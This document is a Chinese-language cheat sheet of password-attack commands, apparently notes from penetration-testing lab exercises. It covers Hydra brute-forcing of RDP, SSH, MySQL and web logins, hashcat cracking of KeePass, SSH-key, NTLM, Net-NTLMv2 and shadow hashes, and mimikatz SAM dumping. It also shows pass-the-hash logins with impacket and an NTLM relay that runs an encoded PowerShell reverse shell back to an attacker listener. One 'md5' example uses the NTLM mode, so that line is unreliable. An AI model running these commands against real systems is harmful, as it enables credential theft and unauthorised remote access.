hydra爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
hydra -L /usr/share/wordlists/dirb/others/names.txt -p "1234" rdp://192.168.50.202
hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.50.201
# 爆破POST登录框
# ^后面跟变量,:后面跟报错信息
hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.50.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"

# 爆破http的登录,base64编码的认证,最后的/是指登录框的url
hydra -l admin -P rockyou.txt -s 80 -f 192.168.211.201 http-get /

# 爆破MySQL
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.220.118 mysql

# hydra 爆破登录框,POST请求爆破,F=后面是页面登录失败返回的错误信息,需要手动改
hydra -L mail.txt -P ~/Desktop/rockyou.txt 10.0.2.47 -s 8000 http-post-form "/api.php?/sessions:email=^USER^&password=^PASS^:F=Incorrect. Try again or reset your password." -V -F -u

# hydra 爆破ssh,参数的大小写是有区别的
hydra -L 用户名文件 -p 指定密码 -f $IP ssh
hydra -l 指定用户名 -p 指定密码 -f $IP ssh
hydra -l 指定用户名 -P 指定密码文件 -f $IP ssh

破解kdbx数据文件

1
2
3
4
5
keepass2john Database.kdbx > keepass.hash
cat keepass.hash
删掉前面的database:
hashcat -m 13400 keepass.hash /home/yu1e/Desktop/offsecExcercise/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force
然后拿破解出来的密码打开.kdbx文件

破解ssh口令

有时候拿到了id_rsa不能直接用来登录,需要先破解

1
2
3
4
5
6
ssh2john id_rsa > ssh.hash
# 搜索加密方式
hashcat -h | grep -i "ssh"
hashcat -m 22921 ssh.hash ssh.passwords -r ssh.rule --force
# 如果破解成功
ssh -i id_rsa -p 2222 dave@192.168.50.201

破解NTLM哈希

1
2
3
4
5
6
7
8
# 系统权限启动
.\mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
将hash放到kali上命名未nelly.hash
cat nelly.hash
hashcat -m 1000 nelly.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

传递NTML哈希

如果hash破解不了

1
2
3
4
5
6
7
8
9
10
11
# 被控机器上执行
privilege::debug
token::elevate
lsadump::sam

#kali执行
使用hash去登录smb服务
smbclient \\\\192.168.50.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b
# kali执行用hash直接登录
impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212
impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212

破解Net-NTLMv2

如果拿到的被控主机权限没有权限执行mimikatz,可以在在几乎所有的 Windows 网络和环境中发现 Net-NTLMv2

Responder工具非常适合此目的。它包括一个内置的 SMB 服务器,可为我们处理身份验证过程并打印所有捕获的 Net-NTLMv2 哈希

1
2
3
4
5
6
7
8
9
# kali执行,tap0是网卡名称
sudo responder -I tap0
# 被控机器执行,这里的IP是kali的IP
dir \\192.168.119.2\test
# 然后kali会拿到一串hash,NTLMv2-SSP Hash
# kali执行
cat paul.hash
hashcat --help | grep -i "ntlm"
hashcat -m 5600 paul.hash /usr/share/wordlists/rockyou.txt --force

中继Net-NTMLv2

假设我们获得了 Net-NTLMv2 哈希,但由于它太复杂而无法破解它,这里不会仅仅打印身份验证步骤中使用的 Net-NTLMv2 哈希,而是将其转发到目标机器

还是使用dir命令来创建与 Kali 机器的 SMB 连接

1
2
3
4
5
# Kali执行,这里的shell是反弹shell
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 -c "powershell -enc JABjAGwAaQBlAG4AdA..."
nc -nvlp 8080
# 被控机器执行,这里的IP是Kali的IP
dir \\192.168.119.2\test

破解md5

1
hashcat -m 1000 -a 3 --force fdf36048c1cf88f5630381c5e38feb8e rockyou.txt

使用hashcat破解shadow文件

Linux

在 Linux 系统中,/etc/shadow 是一个存储着用户加密密码和其他相关信息的文件。而 $y$ 则是指密码的加密算法类型,也就是哈希函数的标识符。

/etc/shadow 文件中,每个用户的密码都是用一个特定的哈希函数加密的。为了避免密码被轻易破解,Linux 系统会使用不同的哈希函数来加密密码。而 $y$ 中的 y 字符则表示使用的是哪种哈希函数,不同的哈希函数对应不同的字符。

以下是一些常见的 $y$ 值及其对应的哈希函数:

  • $1$ 表示使用的是 MD5 哈希函数;
  • $2$$2a$ 表示使用的是 Blowfish 哈希函数;
  • $5$ 表示使用的是 SHA-256 哈希函数;
  • $6$ 表示使用的是 SHA-512 哈希函数。
1
2
3
root:$6$t3lLj7DjLuEnQHCy$w.xIeZPxn61ew.17w09qMXkg.E4aXOM7IMjHJ7PRRiH7XSMaCdHI1Hc0pLyMqRZcafSZtz.UEOb3nmYxyFxKm.:18443:0:99999:7:::

用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段

其他字段都较好理解,其中加密密码和最后一次修改时间需要解释一下:

加密密码中如果第一个字符为!或者*的话,说明这是一个不能登录的账户,其他情况格式为$id$salt$encrypted

根据id可以判断加密方式,第二个$到第三个$之间的字段为salt,第三个$之后的字段为密码hash。

了解了linux系统密码保存的情况,就可以提取出来使用hashcat破解,我们需要提取第二个冒号到第三个冒号之间的字段保存到一个文件root.txt中

1
2
$6$t3lLj7DjLuEnQHCy$w.xIeZPxn61ew.17w09qMXkg.E4aXOM7IMjHJ7PRRiH7XSMaCdHI1Hc0pLyMqRZcafSZtz.UEOb3nmYxyFxKm.
hashcat -m 1800 -a 0 -o result.txt root.txt top100.txt --force

Windows

掩码破解windows用户密码,查看windows hash的工具非常多,为了省事我直接使用前面文章介绍过的工具LaZagne 就不重复介绍新工具了 http://uuzdaisuki.com/2019/12/07/%E4%B8%A4%E6%AC%BE%E5%AF%86%E7%A0%81%E6%8F%90%E5%8F%96%E5%B7%A5%E5%85%B7%E7%9A%84%E9%85%8D%E7%BD%AE%E5%92%8C%E4%BD%BF%E7%94%A8/

提取到windows hash如下

1
2
3
4
test:1005:aad3b435b51404eeaad3b435b51404ee:f9e37e83b83c47a93c2f09f66408631b:::

用户名称:RID:LM-HASH值:NT-HASH值
Copy

我们需要提取后方的NT-HASH用来破解,即f9e37e83b83c47a93c2f09f66408631b存入test.txt,由于我设置的是三位字母三位数字的密码,使用如下掩码进行爆破

1
hashcat -m 1000 -a 3 -o result4.txt test.txt ?l?l?l?d?d?d --force